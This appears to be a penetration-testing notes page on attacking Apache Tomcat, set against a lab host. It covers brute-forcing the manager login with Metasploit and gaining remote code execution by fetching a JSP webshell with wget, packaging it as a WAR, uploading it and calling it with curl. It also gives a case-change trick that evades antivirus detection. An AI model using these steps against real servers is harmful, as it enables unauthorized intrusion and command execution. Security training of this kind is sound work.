Tomcat
101
Apache Tomcat is an open-source Java servlet container that hosts Java-based web applications. It is primarily used internally within organizations rather than as a public-facing web server.
A typical folder structure of a Tomcat installation:
βββ bin # stores scripts and bins needed to start and run Tomcat
βββ conf # config files
β βββ catalina.policy
β βββ catalina.properties
β βββ context.xml
β βββ tomcat-users.xml # user creds and roles, IMPORTANT FILE!!!
β βββ tomcat-users.xsd
β βββ web.xml
βββ lib # JAR files needed for proper functioning
βββ logs # temp log files
βββ temp # temp log files
βββ webapps # default webroot, hosts all apps
β βββ manager
β β βββ images
β β βββ META-INF
β β βββ WEB-INF
| | βββ web.xml
β βββ ROOT
β βββ WEB-INF
βββ work # acts as a cache during runtime
βββ Catalina
βββ localhost
Footprinting
Tomcat servers can often be identified by the Server
header in HTTP responses. If a reverse proxy is in place, accessing an invalid URL may still reveal Tomcatβs version:

Attacks
BFA
A Brute Force attack can be performed using MSF's tomcat_mgr_login module:
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show actions
msf auxiliary(tomcat_mgr_login) > set ACTION < action-name >
msf auxiliary(tomcat_mgr_login) > show options
msf auxiliary(tomcat_mgr_login) > run
RCE
A Web Application Archive (WAR) file is a convenient format used to deploy Java web applications on Tomcat quickly and to store backups of those applications. Tomcatβs GUI for managing deployments is located at /manager/html
by default and is accessible only to users assigned the manager-gui
role. Through this interface, an attacker with access can upload a malicious WAR file to compromise the server.

A JSP webshell can be packaged into a WAR file by simply zipping the webshell JSP file. Once uploaded via the manager interface, the WAR file is automatically extracted and deployed by Tomcat.
# Download a JSP webshell
$ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
# Archive the webshell along with the WAR file
$ zip -r backup.war cmd.jsp
adding: cmd.jsp (deflated 81%)
A more stealthy version of the JSP web shell can also be used in order to minimize footprint (<1KB) and possibly evade detections for standard JSP web shells. The default web shell gets detected by 2/58 AVs and a simple change drops that number down to 0.
// Default line
FileOutputStream(f);stream.write(m);o="Uploaded:
// Modified line
FileOutputStream(f);stream.write(m);o="uPlOaDeD:
Accessing the uploaded shell through its URL (e.g., /backup/cmd.jsp
) allows remote command execution on the server.
$ curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
Note that simply browsing to /backup
redirects to /backup/
and typically returns a 404 error, so the full path to the JSP shell must be specified.

Cleanup: return to the Tomcat Manager page and Undeploy
the application; this removes the uploaded WAR file and its extracted contents, restoring the serverβs state.
Last updated
Was this helpful?